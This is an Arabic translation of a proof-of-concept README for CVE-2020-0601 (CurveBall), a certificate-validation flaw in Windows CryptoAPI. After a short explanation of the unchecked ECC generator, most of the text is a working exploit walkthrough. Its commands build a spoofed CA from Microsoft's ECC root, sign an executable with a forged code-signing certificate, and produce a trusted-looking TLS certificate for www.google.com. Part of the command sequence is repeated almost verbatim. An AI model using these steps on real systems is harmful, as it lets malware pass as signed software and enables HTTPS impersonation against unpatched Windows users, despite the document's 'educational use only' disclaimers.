
إثبات المفهوم لـ CVE-2020-0601- Windows CryptoAPI (Crypt32.dll)
CVE-2020-0601، أو ما يُعرف عادةً باسم CurveBall، هو ثغرة أمنية لا يتم فيها التحقق من توقيع الشهادات التي تستخدم تشفير المنحنيات الإهليلجية (ECC) بشكل صحيح.
تعتمد ECC على معاملات مختلفة. هذه المعاملات موحدة للعديد من المنحنيات. ومع ذلك، لم تقم Microsoft بفحص جميع هذه المعاملات. لم يتم فحص المعامل G (المولّد)، وبالتالي يمكن للمهاجم توفير المولّد الخاص به، بحيث عندما تحاول Microsoft التحقق من صحة الشهادة مقابل مرجع مصدق موثوق، فإنها ستبحث فقط عن مفاتيح عمومية متطابقة، ثم تستخدم بعد ذلك مولّد الشهادة. تشرح NSA تأثير هذه الثغرة والمزيد هنا.
MicrosoftECCProductRootCertificateAuthority.cer هي افتراضيًا شهادة مرجع مصدق جذر موثوق تستخدم ECC على نظام Windows 10. وبالتالي، سيتم تلقائيًا الثقة بأي شيء موقّع بهذه الشهادة.
المتطلبات الدنيا
openssl 1.1.0
ruby 2.4.0
إذا كنت مهتمًا بالتفاصيل الرياضية للثغرة، فيرجى قراءة المزيد هنا.
لتزوير الشهادة، نقوم بتعيين المعاملات التالية:
d' = 1
G' = Q
بحيث Q = Q' = d'G'.
أنشئ شهادة بنفس المفتاح العمومي ومعاملات المرجع المصدق الموثوق. سيتم استخدامها كمرجع مصدق مزور خاص بنا. قم بتعيين المولّد إلى قيمة تعرف فيها المفتاح الخاص. يمكنك بسهولة تعيين المولّد إلى المفتاح العمومي، والحصول على مفتاح خاص بقيمة 1، لأن Q = dG.
بعد ذلك، قم بإنشاء طلب توقيع شهادة (CSR) مع الامتدادات التي ترغب في استخدامها، مثل توقيع الكود أو مصادقة الخادم.
قم بتوقيع طلب الشهادة هذا باستخدام المرجع المصدق المزور والمفتاح الخاص للمرجع المصدق، وأضف امتدادات الاستخدام.
قم بحزم طلب الشهادة الموقع (الذي أصبح الآن شهادة عادية) مع المرجع المصدق المزور، وستحصل على شهادة موقعة وموثوقة.
عندما يتحقق Windows مما إذا كانت الشهادة موثوقة، سيرى أنها موقعة من قبل المرجع المصدق المزور الخاص بنا. ثم يبحث عن المفتاح العمومي للمرجع المصدق المزور للتحقق من المرجع المصدق الموثوق. ثم يقوم ببساطة بالتحقق من توقيع المرجع المصدق المزور الخاص بنا باستخدام مولّد المرجع المصدق المزور - هذه هي المشكلة.
إذا اخترت فتح شهادتك الجديدة والموقعة والموثوقة في Windows، فلن يتعرف عليها كموثوقة، لأنها لم تكن مرتبطة بأي شيء، وبالتالي لن يستخدم المرجع المصدق المزور. يجب أن تقدم الشهادة نفسها دائمًا مع المرجع المصدق المزور.
يرجى استخدام هذا للأغراض التعليمية والبحثية فقط.
استخرج المفتاح العمومي من المرجع المصدق وقم بتعديله وفقًا للثغرة:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
قم بإنشاء شهادة x509 جديدة بناءً على هذا المفتاح. سيكون هذا هو المرجع المصدق المزور الخاص بنا.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
قم بإنشاء مفتاح جديد. يمكن أن يكون هذا المفتاح من أي نوع تريده. سيتم استخدامه لإنشاء شهادة توقيع كود، والتي سنوقعها باستخدام المرجع المصدق الخاص بنا.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
بعد ذلك، قم بإنشاء طلب توقيع شهادة جديد (CSR). غالبًا ما يتم إرسال هذا الطلب إلى مراجع مصدقة موثوقة، ولكن نظرًا لأن لدينا مرجعًا مزورًا، يمكننا توقيعه بأنفسنا.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
وقع على طلب توقيع الشهادة الجديد الخاص بك باستخدام المرجع المصدق المزور والمفتاح الخاص للمرجع المصدق. ستنتهي صلاحية هذه الشهادة في عام 2047، بينما ستنتهي صلاحية المرجع المصدق الموثوق من Microsoft في عام 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
الشيء الوحيد المتبقي هو حزم الشهادة ومفتاحها والمرجع المصدق المزور في ملف PKCS12 لتوقيع الملفات القابلة للتنفيذ.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
وقع على الملف القابل للتنفيذ باستخدام ملف PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
يرجى استخدام هذا للأغراض التعليمية والبحثية فقط.
استخرج المفتاح العمومي من المرجع المصدق وقم بتعديله وفقًا للثغرة:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
قم بإنشاء شهادة x509 جديدة بناءً على هذا المفتاح. سيكون هذا هو المرجع المصدق المزور الخاص بنا.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
قم بإنشاء مفتاح جديد. يمكن أن يكون هذا المفتاح من أي نوع تريده. سيتم استخدامه لإنشاء شهادة SSL، والتي سنوقعها باستخدام المرجع المصدق الخاص بنا.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
بعد ذلك، قم بإنشاء طلب توقيع شهادة جديد (CSR). غالبًا ما يتم إرسال هذا الطلب إلى مراجع مصدقة موثوقة، ولكن نظرًا لأن لدينا مرجعًا مزورًا، يمكننا توقيعه بأنفسنا.
إذا كنت ترغب في تغيير اسم النطاق، قم بتعديل CN = www.google.com إلى CN = www.example.com داخل openssl_tls.conf.
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
وقع على طلب توقيع الشهادة الجديد الخاص بك باستخدام المرجع المصدق المزور والمفتاح الخاص للمرجع المصدق. ستنتهي صلاحية هذه الشهادة في عام 2047، بينما ستنتهي صلاحية المرجع المصدق الموثوق من Microsoft في عام 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
يمكنك الآن استخدام cert.crt و cert.key و spoofed_ca.crt لتقديم المحتوى الخاص بك. مرة أخرى، تذكر إضافة spoofed_ca.crt كسلسلة شهادات في تكوين HTTPS لخادمك.
راجع مثال الاستخدام في tls/index.js.